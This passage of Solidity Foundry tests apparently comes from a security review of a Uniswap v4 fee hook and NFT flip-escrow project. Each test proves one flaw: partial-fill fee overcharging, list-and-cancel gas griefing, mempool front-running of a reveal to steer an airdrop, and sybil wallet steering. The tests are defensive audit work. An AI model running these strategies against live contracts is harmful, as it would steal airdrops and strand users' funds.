        nft.safeTransferFrom(baazaar, address(escrow), tokenId);
        assertEq(uint8(escrow.getAcquisition(0).status), uint8(FlipEscrow.Status.Pending), "no commitment yet");

        // The operator queues a commitment well before any reveal and well within the pending timeout.
        vm.roll(101);
        vm.prank(operator);
        escrow.commit(keccak256("secret"));
        assertEq(escrow.availableCommitments(), 1, "a commitment is queued and unbound");

        // Expected: the pending acquisition binds to the queued commitment.
        vm.roll(110);
        escrow.requestFlip(0);
        assertEq(uint8(escrow.getAcquisition(0).status), uint8(FlipEscrow.Status.Requested));
        assertEq(escrow.getAcquisition(0).commitmentIndex, 0);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";

import {LaunchToken} from "src/LaunchToken.sol";
import {GotchiFeeHook} from "src/GotchiFeeHook.sol";
import {HookMiner} from "src/HookMiner.sol";
import {FeeSink} from "src/FeeSink.sol";
import {MockAavegotchi} from "src/MockAavegotchi.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {ForeverLiquidity} from "src/ForeverLiquidity.sol";

/// @notice Proof: the hook charges FEE_BPS of the *specified* amount, not of the ETH the swap moved.
///
/// When a price limit truncates the fill, an exact-output-ETH swap (token -> ETH, amountSpecified > 0)
/// still pays the fee computed on the full requested output. With a fill smaller than that fee the trader
/// ends the swap owing ETH: `delta.amount0()` is negative on a swap whose purpose was to receive ETH, while
/// they also pay tokens. Expected: a trader selling tokens for ETH never ends with a negative ETH delta
/// (and pays at most FEE_BPS of the ETH actually moved). Actual: amount0 = -2_900_000_999_990_001 wei with
/// the fixture below, and the sink receives 0.003 ETH on a swap that moved about 0.0001 ETH.
contract ProofExactOutputPartialFill is Test {
    using StateLibrary for IPoolManager;
    using PoolIdLibrary for PoolKey;

    PoolManager manager;
    LaunchToken token;
    GotchiFeeHook hook;
    FeeSink sink;
    PoolSwapTest swapRouter;
    PoolModifyLiquidityTest lpRouter;
    PoolKey key;

    receive() external payable {}

    function setUp() public {
        vm.deal(address(this), 1_000 ether);
        manager = new PoolManager(address(this));
        token = new LaunchToken();

        bytes memory creationCode = abi.encodePacked(type(GotchiFeeHook).creationCode, abi.encode(address(manager)));
        (address predicted, bytes32 salt) = HookMiner.find(address(this), 0xCC, creationCode, 0);
        hook = new GotchiFeeHook{salt: salt}(address(manager));
        assertEq(address(hook), predicted);

        MockAavegotchi nft = new MockAavegotchi(address(this));
        MockBaazaar baazaar = new MockBaazaar(address(nft));
        HolderWeightedPicker picker = new HolderWeightedPicker(address(token), address(manager));
        FlipEscrow escrow = new FlipEscrow(address(nft), address(baazaar), address(picker), address(this));
        sink = new FeeSink(address(hook), address(baazaar), address(escrow));

        swapRouter = new PoolSwapTest(manager);
        lpRouter = new PoolModifyLiquidityTest(manager);
        token.approve(address(swapRouter), type(uint256).max);
        token.approve(address(lpRouter), type(uint256).max);

        // The project's own pool: ETH / GOTCHI, zero LP fee, full range, 10 ETH against 100M GOTCHI.
        ForeverLiquidity forever = new ForeverLiquidity(address(token), address(manager), address(hook));
        key = forever.poolKey();
        forever.initializePool(forever.sqrtPriceX96ForAmounts(10 ether, 100_000_000e18));
        uint128 liquidity = forever.liquidityForAmounts(10 ether, 100_000_000e18);
        token.approve(address(forever), 100_000_000e18);
        forever.addLiquidity{value: 10 ether}(liquidity, 100_000_000e18);
    }

    function test_exactOutputEthWithTruncatedFillNeverLeavesTheTraderPayingEth() public {
        (uint160 price,,,) = IPoolManager(address(manager)).getSlot0(key.toId());
        // Selling tokens pushes the price up; allow it to move only 0.001% so the fill is tiny.
        uint160 limit = price + price / 100_000;

        uint256 ethBefore = address(this).balance;
        uint256 tokensBefore = token.balanceOf(address(this));
        // Value is sent so the router can settle whatever the manager says the trader owes; the
        // router refunds what it does not use.
        BalanceDelta delta = swapRouter.swap{value: 1 ether}(
            key,
            SwapParams({zeroForOne: false, amountSpecified: 1 ether, sqrtPriceLimitX96: limit}),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );
        uint256 ethMoved = delta.amount0() >= 0 ? uint256(int256(delta.amount0())) : 0;
        uint256 fee = address(sink).balance;

        assertLt(tokensBefore - token.balanceOf(address(this)), 1e24, "tokens were paid for the partial fill");
        assertGe(delta.amount0(), 0, "a token->ETH exact-output swap must not make the trader pay ETH");
        assertGe(address(this).balance, ethBefore, "trader's ETH balance must not fall on an ETH purchase");
        assertLe(fee, (ethMoved + fee) * 30 / 10_000 + 1, "fee exceeds 30 bps of the ETH actually moved");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {GotchiFeeHook} from "src/GotchiFeeHook.sol";
import {FeeSink} from "src/FeeSink.sol";
import {MockAavegotchi} from "src/MockAavegotchi.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";

/// @notice MockBaazaar.cheapest() scans every listing ever created, not only the active ones, so
/// MAX_ACTIVE_LISTINGS does not bound it. One gotchi listed and cancelled repeatedly grows the array
/// until FeeSink.triggerBuy (which scans twice) no longer fits in a block, stranding the fee ETH forever.
///
/// Each dead listing costs the crank about 2,840 gas (a cold scan in triggerBuy plus a warm one inside
/// buyCheapest), so a 30M block is exhausted near 10,600 dead listings. Gas metering is paused for the
/// griefing loop only because forge caps a single call at 2^30 gas; on chain the cycles are ordinary
/// transactions from one account that owns a single gotchi.
contract ProofCheapestScanTest is Test {
    uint256 constant BLOCK_GAS_LIMIT = 30_000_000;
    uint256 constant DEAD_LISTINGS = 12_000;

    LaunchToken token;
    GotchiFeeHook hook;
    MockAavegotchi nft;
    MockBaazaar baazaar;
    HolderWeightedPicker picker;
    FlipEscrow escrow;
    FeeSink sink;

    address operator = makeAddr("operator");
    address minter = makeAddr("minter");
    address griefer = makeAddr("griefer");
    address seller = makeAddr("seller");
    address poolManager = makeAddr("poolManager");
    uint256 goodId;
    uint256 junkId;

    function setUp() public {
        token = new LaunchToken();
        hook = new GotchiFeeHook(poolManager);
        nft = new MockAavegotchi(minter);
        baazaar = new MockBaazaar(address(nft));
        picker = new HolderWeightedPicker(address(token), poolManager);
        escrow = new FlipEscrow(address(nft), address(baazaar), address(picker), operator);
        sink = new FeeSink(address(hook), address(baazaar), address(escrow));

        // An honest listing the sink should be able to buy, and enough fee ETH to buy it.
        vm.prank(minter);
        goodId = nft.mint(seller);
        vm.startPrank(seller);
        nft.approve(address(baazaar), goodId);
        baazaar.list(goodId, 0.005 ether);
        vm.stopPrank();
        vm.deal(address(this), 1 ether);
        (bool funded,) = address(sink).call{value: 0.02 ether}("");
        assertTrue(funded);

        // The griefer owns one gotchi (an airdrop, or bought from the Baazaar) and lists/cancels it.
        vm.prank(minter);
        junkId = nft.mint(griefer);
        vm.prank(griefer);
        nft.setApprovalForAll(address(baazaar), true);
        vm.pauseGasMetering();
        _listAndCancel(DEAD_LISTINGS);
        vm.resumeGasMetering();
    }

    function test_triggerBuyStillFitsInABlockAfterManyCancelledListings() public {
        assertEq(baazaar.activeCount(), 1, "only the honest listing is active");
        assertEq(baazaar.listingCount(), 1 + DEAD_LISTINGS);

        // The crank must still run within one block's gas; today the scan over dead listings exceeds it.
        (bool cranked,) = address(sink).call{gas: BLOCK_GAS_LIMIT}(abi.encodeCall(FeeSink.triggerBuy, ()));
        assertTrue(cranked, "triggerBuy ran out of block gas: fee ETH is stranded in the sink");
        assertEq(nft.ownerOf(goodId), address(escrow));
    }

    function _listAndCancel(uint256 cycles) internal {
        vm.startPrank(griefer);
        for (uint256 i = 0; i < cycles; i++) {
            uint256 listingId = baazaar.list(junkId, 1 ether);
            baazaar.cancel(listingId);
        }
        vm.stopPrank();
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockAavegotchi} from "src/MockAavegotchi.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";

/// @notice The roll is fixed once the secret is public, but the winner is `roll % totalWeight` evaluated
/// against the picker's *current* state at reveal time. Anyone who sees `reveal(secret)` in the mempool
/// computes the roll, chooses a weight `w` such that `roll % (T + w)` lands in their own range [T, T+w),
/// registers with exactly `w` tokens in the same block ahead of the reveal, and wins the airdrop.
contract RevealFrontrunTest is Test {
    LaunchToken token;
    MockAavegotchi nft;
    HolderWeightedPicker picker;
    FlipEscrow escrow;

    address operator = makeAddr("operator");
    address minter = makeAddr("minter");
    address baazaar = makeAddr("baazaar");
    address poolManager = makeAddr("poolManager");
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    address carol = makeAddr("carol");
    address attacker = makeAddr("attacker");

    function setUp() public {
        token = new LaunchToken();
        nft = new MockAavegotchi(minter);
        picker = new HolderWeightedPicker(address(token), poolManager);
        escrow = new FlipEscrow(address(nft), baazaar, address(picker), operator);
        vm.roll(100);
    }

    function _register(address holder, uint256 amount) internal {
        token.transfer(holder, amount);
        vm.prank(holder);
        picker.register();
    }

    function test_lateRegistrantSteersTheAirdropToThemselves() public {
        // Honest holders: 10,000 GOTCHI of registered weight.
        _register(alice, 1_000e18);
        _register(bob, 3_000e18);
        _register(carol, 6_000e18);
        uint256 honestWeight = picker.totalWeight();

        // The operator commits a secret whose roll is an airdrop roll; the NFT arrives a block later.
        uint256 expectedTokenId = nft.nextTokenId();
        bytes32 secret;
        bytes32 hash;
        for (uint256 i = 1;; i++) {
            secret = keccak256(abi.encode("secret", i));
            hash = keccak256(abi.encodePacked(secret));
            bytes32 rid = escrow.computeRequestId(0, expectedTokenId, 0, hash);
            if (!escrow.isBurnRoll(escrow.rollFor(secret, rid))) break;
        }
        vm.prank(operator);
        escrow.commit(hash);
        vm.roll(101);
        vm.prank(minter);
        uint256 tokenId = nft.mint(baazaar);
        vm.prank(baazaar);
        nft.safeTransferFrom(baazaar, address(escrow), tokenId);

        // The operator broadcasts reveal(0, secret). The attacker reads it from the mempool, derives the
        // roll and searches for a weight w <= 0.1% of the honest weight such that roll % (T + w) >= T.
        uint256 roll = escrow.rollFor(secret, escrow.getAcquisition(0).requestId);
        uint256 w = 0;
        for (uint256 candidate = 1e15; candidate <= honestWeight / 1000; candidate += 1e15) {
            if (roll % (honestWeight + candidate) >= honestWeight) {
                w = candidate;
                break;
            }
        }
        assertGt(w, 0, "a steering weight under 0.1% of the pool exists for this roll");

        // Front-run: fund exactly w and register, then the operator's reveal lands.
        _register(attacker, w);
        escrow.reveal(0, secret);

        // Expected: a holder with 0.1% of the weight wins about 0.1% of the time; the registered honest
        // holders should receive this airdrop. Actual: the attacker owns the NFT.
        assertTrue(nft.ownerOf(tokenId) != attacker, "a registrant who joined after the secret was public must not win");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockAavegotchi} from "src/MockAavegotchi.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";

/// @notice A `Pending` acquisition can never be bound: `_tryRequest` demands `commitBlock < receivedBlock`,
/// and every commitment made after the NFT arrived has `commitBlock >= receivedBlock`. `requestFlip`
/// therefore always reverts for a Pending acquisition and the only exit is a forced burn through `expire`.
///
/// Fails on the current code (`requestFlip(0)` reverts `NoCommitmentAvailable` after a commitment was
/// queued in a later block). Passes once a Pending acquisition can bind a commitment that was made after
/// its receipt (for example by checking the commitment against the request block instead of the receipt
/// block, or by any other rule under which a later commitment is eligible).
contract ProofPendingNeverBindsTest is Test {
    LaunchToken token;
    MockAavegotchi nft;
    HolderWeightedPicker picker;
    FlipEscrow escrow;

    address operator = makeAddr("operator");
    address minter = makeAddr("minter");
    address baazaar = makeAddr("baazaar");
    address poolManager = makeAddr("poolManager");

    function setUp() public {
        token = new LaunchToken();
        nft = new MockAavegotchi(minter);
        picker = new HolderWeightedPicker(address(token), poolManager);
        escrow = new FlipEscrow(address(nft), baazaar, address(picker), operator);
    }

    function test_aPendingAcquisitionCanBeBoundOnceACommitmentExists() public {
        // Block 100: the NFT arrives from the Baazaar while the commitment queue is empty.
        vm.roll(100);
        vm.prank(minter);
        uint256 tokenId = nft.mint(baazaar);
        vm.prank(baazaar);
        nft.safeTransferFrom(baazaar, address(escrow), tokenId);
        assertEq(uint8(escrow.getAcquisition(0).status), uint8(FlipEscrow.Status.Pending), "setup: pending");

        // Block 101: the operator queues a commitment. Block 110: a keeper asks to bind it.
        vm.roll(101);
        vm.prank(operator);
        escrow.commit(keccak256(abi.encodePacked(bytes32("later-secret"))));
        assertEq(escrow.availableCommitments(), 1, "setup: one commitment is available");

        vm.roll(110);
        escrow.requestFlip(0); // reverts NoCommitmentAvailable on the current code

        assertEq(uint8(escrow.getAcquisition(0).status), uint8(FlipEscrow.Status.Requested));
        assertEq(escrow.availableCommitments(), 0);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";

import {LaunchToken} from "src/LaunchToken.sol";
import {GotchiFeeHook} from "src/GotchiFeeHook.sol";
import {HookMiner} from "src/HookMiner.sol";
import {FeeSink} from "src/FeeSink.sol";
import {MockAavegotchi} from "src/MockAavegotchi.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {ForeverLiquidity} from "src/ForeverLiquidity.sol";

/// @notice When ETH is the specified currency the hook charges FEE_BPS of `amountSpecified` in
/// `beforeSwap`/`afterSwap`, not of the ETH the pool actually moved. A swap that stops at the trader's
/// `sqrtPriceLimitX96` (a partial fill) still pays the full fee of the request, so an exact-output
/// ETH purchase can leave the trader with a *negative* ETH delta: they sell GOTCHI and pay ETH too.
///
/// Fails on the current code (the hooked trader's amount0 is about -0.002 ETH and the sink receives
/// 0.003 ETH on a fill of about 0.001 ETH). Passes once the fee charged is at most FEE_BPS of the ETH
/// the swap actually moved, or once partially filled ETH-specified swaps revert.
contract ProofPartialFillFeeTest is Test {
    using StateLibrary for IPoolManager;
    using PoolIdLibrary for PoolKey;

    uint256 constant INITIAL_ETH = 10 ether;
    uint256 constant INITIAL_TOKENS = 100_000_000e18;

    PoolManager manager;
    LaunchToken token;
    GotchiFeeHook hook;
    FeeSink sink;
    ForeverLiquidity forever;
    PoolSwapTest swapRouter;
    PoolKey key;

    receive() external payable {}

    function setUp() public {
        vm.deal(address(this), 1_000 ether);
        manager = new PoolManager(address(this));
        token = new LaunchToken();

        bytes memory creationCode = abi.encodePacked(type(GotchiFeeHook).creationCode, abi.encode(address(manager)));
        (address predicted, bytes32 salt) = HookMiner.find(address(this), 0xCC, creationCode, 0);
        hook = new GotchiFeeHook{salt: salt}(address(manager));
        require(address(hook) == predicted && hook.addressHasValidFlags(), "hook address");

        MockAavegotchi nft = new MockAavegotchi(address(this));
        MockBaazaar baazaar = new MockBaazaar(address(nft));
        HolderWeightedPicker picker = new HolderWeightedPicker(address(token), address(manager));
        FlipEscrow escrow = new FlipEscrow(address(nft), address(baazaar), address(picker), address(this));
        sink = new FeeSink(address(hook), address(baazaar), address(escrow));

        forever = new ForeverLiquidity(address(token), address(manager), address(hook));
        key = forever.poolKey();
        forever.initializePool(forever.sqrtPriceX96ForAmounts(INITIAL_ETH, INITIAL_TOKENS));
        uint128 liquidity = forever.liquidityForAmounts(INITIAL_ETH, INITIAL_TOKENS);
        token.approve(address(forever), INITIAL_TOKENS);
        forever.addLiquidity{value: INITIAL_ETH}(liquidity, INITIAL_TOKENS);

        swapRouter = new PoolSwapTest(manager);
        token.approve(address(swapRouter), type(uint256).max);
    }

    function test_exactOutputEthPartialFillDoesNotMakeTheTraderPayEth() public {
        (uint160 spot,,,) = IPoolManager(address(manager)).getSlot0(key.toId());
        // Sell GOTCHI for exactly 1 ETH, but stop once the price has moved 0.01%: a partial fill.
        uint160 limit = uint160(uint256(spot) * 10001 / 10000);
        uint256 sinkBefore = address(sink).balance;

        BalanceDelta delta = swapRouter.swap{value: 1 ether}(
            key,
            SwapParams({zeroForOne: false, amountSpecified: 1 ether, sqrtPriceLimitX96: limit}),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );
        uint256 fee = address(sink).balance - sinkBefore;
        emit log_named_int("trader ETH delta", delta.amount0());
        emit log_named_int("trader GOTCHI delta", delta.amount1());
        emit log_named_uint("fee taken", fee);

        // Expected: a trader who sells GOTCHI for ETH never pays ETH, and the fee is at most 30 bps of
        // the ETH the pool moved (received + fee).
        assertGe(delta.amount0(), 0, "trader selling GOTCHI for ETH paid ETH");
        uint256 ethMoved = uint256(int256(delta.amount0())) + fee;
        assertLe(fee, hook.feeFor(ethMoved), "fee exceeds 30 bps of the ETH actually swapped");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockAavegotchi} from "src/MockAavegotchi.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";

/// @notice The escrow freezes the picker's *weights* when a flip is requested, but whether the selected
/// holder is eligible is still decided by their *live* token balance when `reveal` executes. One bag of
/// GOTCHI registered through ten wallets before the request therefore owns ten frozen ranges, and once
/// the secret is visible in the mempool the owner moves the bag to whichever of those wallets the roll
/// selects. A wallet that held nothing when the flip was requested wins the airdrop.
contract ProofSybilRevealSteerTest is Test {
    LaunchToken token;
    MockAavegotchi nft;
    HolderWeightedPicker picker;
    FlipEscrow escrow;

    address operator = makeAddr("operator");
    address minter = makeAddr("minter");
    address baazaar = makeAddr("baazaar");
    address poolManager = makeAddr("poolManager");
    address alice = makeAddr("alice");
    address[10] sybils;

    uint256 constant BAG = 100e18;

    function setUp() public {
        token = new LaunchToken();
        nft = new MockAavegotchi(minter);
        picker = new HolderWeightedPicker(address(token), poolManager);
        escrow = new FlipEscrow(address(nft), baazaar, address(picker), operator);
        vm.roll(100);
    }

    function test_oneBagBehindManyFrozenWeightsIsMovedToTheSelectedWalletBeforeTheReveal() public {
        // Honest holder: 100 GOTCHI, registered (position 1, range [0, 100)).
        token.transfer(alice, BAG);
        vm.prank(alice);
        picker.register();

        // Attacker: the SAME 100 GOTCHI registered through ten wallets (positions 2..11), all before any
        // flip is requested. The bag ends in the last wallet.
        for (uint256 i = 0; i < 10; i++) {
            sybils[i] = makeAddr(string.concat("sybil", vm.toString(i)));
        }
        token.transfer(sybils[0], BAG);
        for (uint256 i = 0; i < 10; i++) {
            vm.prank(sybils[i]);
            picker.register();
            if (i < 9) {
                vm.prank(sybils[i]);
                token.transfer(sybils[i + 1], BAG);
            }
        }
        assertEq(picker.totalWeight(), 11 * BAG, "100 GOTCHI of attacker tokens carry 1,000 of weight");

        // The operator commits a secret; its roll is an airdrop roll whose first draw lands on one of the
        // nine wallets that no longer hold the bag (9 of every 11 airdrop rolls do).
        uint256 expectedTokenId = nft.nextTokenId();
        bytes32 secret;
        bytes32 hash;
        uint256 selected;
        for (uint256 i = 1;; i++) {
            secret = keccak256(abi.encode("secret", i));
            hash = keccak256(abi.encodePacked(secret));
            uint256 r = escrow.rollFor(secret, escrow.computeRequestId(0, expectedTokenId, 0, hash));
            if (escrow.isBurnRoll(r)) continue;
            uint256 slot = (r % (11 * BAG)) / BAG; // 0 = alice, 1..10 = sybils[0..9]
            if (slot >= 1 && slot <= 9) {
                selected = slot - 1;
                break;
            }
        }
        vm.prank(operator);
        escrow.commit(hash);
        vm.roll(101);
        vm.prank(minter);
        uint256 tokenId = nft.mint(baazaar);
        vm.prank(baazaar);
        nft.safeTransferFrom(baazaar, address(escrow), tokenId);
        assertEq(uint256(escrow.getAcquisition(0).status), uint256(FlipEscrow.Status.Requested));

        // State frozen for this flip: the selected wallet holds nothing.
        address target = sybils[selected];
        assertEq(token.balanceOf(target), 0, "the selected wallet held no GOTCHI when the flip was requested");

        // The operator broadcasts reveal(0, secret). The attacker reads the secret from the mempool,
        // computes the roll and the frozen draw, and moves the bag to the selected wallet first. No
        // register() or refresh() is needed: only a token transfer.
        vm.roll(102);
        uint256 roll = escrow.rollFor(secret, escrow.getAcquisition(0).requestId);
        assertEq((roll % picker.totalWeightAt(escrow.getAcquisition(0).pickerVersion)) / BAG, selected + 1);
        vm.prank(sybils[9]);
        token.transfer(target, BAG);

        escrow.reveal(0, secret);

        // Expected: a wallet with no balance at the request cannot win; the draw is stale and is re-drawn
        // (or burned). Actual: the attacker's wallet receives the NFT, for 10 of every 11 airdrop rolls
        // against an honest holder with the same balance.
        assertTrue(
            nft.ownerOf(tokenId) != target,
            "a wallet that held no GOTCHI when the flip was requested must not be steered into winning"
        );
    }
}